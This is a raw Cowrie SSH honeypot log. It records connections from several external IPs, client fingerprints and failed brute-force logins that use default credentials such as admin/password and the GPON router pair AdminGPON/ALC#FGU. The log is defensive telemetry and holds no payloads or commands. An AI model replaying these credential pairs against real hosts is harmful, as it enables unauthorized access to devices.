{"eventid":"cowrie.login.failed","username":"hduser","password":"0","message":"login attempt [hduser/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:33.989091Z","src_ip":"14.225.2.125","session":"5e297dbb84e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:35.248214Z","src_ip":"14.225.2.125","session":"5e297dbb84e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":38071,"dst_ip":"10.17.0.5","dst_port":22,"session":"893b99808e08","protocol":"ssh","message":"New connection: 193.46.255.86:38071 (10.17.0.5:22) [session: 893b99808e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:00:42.355440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:00:42.360102Z","src_ip":"193.46.255.86","session":"893b99808e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:00:42.492054Z","src_ip":"193.46.255.86","session":"893b99808e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:00:43.091691Z","src_ip":"193.46.255.86","session":"893b99808e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"12345","message":"login attempt [guest/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:00:44.227044Z","src_ip":"193.46.255.86","session":"893b99808e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:00:45.363536Z","src_ip":"193.46.255.86","session":"893b99808e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest@123","message":"login attempt [guest/guest@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:00:46.498851Z","src_ip":"193.46.255.86","session":"893b99808e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:00:47.635940Z","src_ip":"193.46.255.86","session":"893b99808e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:00:48.771004Z","src_ip":"193.46.255.86","session":"893b99808e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.180.86","src_port":49518,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e8ed6abb37","protocol":"ssh","message":"New connection: 171.231.180.86:49518 (10.17.0.5:22) [session: 83e8ed6abb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:01:16.724260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:01:16.731790Z","src_ip":"171.231.180.86","session":"83e8ed6abb37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:01:17.156077Z","src_ip":"171.231.180.86","session":"83e8ed6abb37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0l0ctyQh243O63uD","message":"login attempt [admin/0l0ctyQh243O63uD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:01:17.966122Z","src_ip":"171.231.180.86","session":"83e8ed6abb37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:01:19.273133Z","src_ip":"171.231.180.86","session":"83e8ed6abb37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":39178,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb0f4b72abf6","protocol":"ssh","message":"New connection: 45.148.10.121:39178 (159.203.135.109:22) [session: fb0f4b72abf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:02:52.170200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:02:52.174875Z","src_ip":"45.148.10.121","session":"fb0f4b72abf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:02:52.251292Z","src_ip":"45.148.10.121","session":"fb0f4b72abf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:02:52.477369Z","src_ip":"45.148.10.121","session":"fb0f4b72abf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:02:53.554877Z","src_ip":"45.148.10.121","session":"fb0f4b72abf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.188","src_port":50172,"dst_ip":"10.17.0.5","dst_port":22,"session":"d05cca6f4d95","protocol":"ssh","message":"New connection: 2.57.122.188:50172 (10.17.0.5:22) [session: d05cca6f4d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:03:21.371219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:03:21.377813Z","src_ip":"2.57.122.188","session":"d05cca6f4d95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:03:21.482877Z","src_ip":"2.57.122.188","session":"d05cca6f4d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:03:21.934990Z","src_ip":"2.57.122.188","session":"d05cca6f4d95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.180.86","src_port":60636,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f98a4e4608d","protocol":"ssh","message":"New connection: 171.231.180.86:60636 (10.17.0.5:22) [session: 5f98a4e4608d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:03:37.522247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:03:39.549625Z","src_ip":"171.231.180.86","session":"5f98a4e4608d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:03:40.926716Z","src_ip":"171.231.180.86","session":"5f98a4e4608d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:03:44.365195Z","src_ip":"171.231.180.86","session":"5f98a4e4608d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:03:45.714318Z","src_ip":"171.231.180.86","session":"5f98a4e4608d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.180.86","src_port":38942,"dst_ip":"10.17.0.5","dst_port":22,"session":"deed4b429700","protocol":"ssh","message":"New connection: 171.231.180.86:38942 (10.17.0.5:22) [session: deed4b429700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:04:54.606273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:04:54.672573Z","src_ip":"171.231.180.86","session":"deed4b429700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:04:54.861789Z","src_ip":"171.231.180.86","session":"deed4b429700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:04:55.882682Z","src_ip":"171.231.180.86","session":"deed4b429700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:04:57.344347Z","src_ip":"171.231.180.86","session":"deed4b429700","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.180.86","src_port":33190,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4a36656de63","protocol":"ssh","message":"New connection: 171.231.180.86:33190 (10.17.0.5:22) [session: b4a36656de63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:05:53.190270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:05:53.216397Z","src_ip":"171.231.180.86","session":"b4a36656de63","protocol":"ssh"}
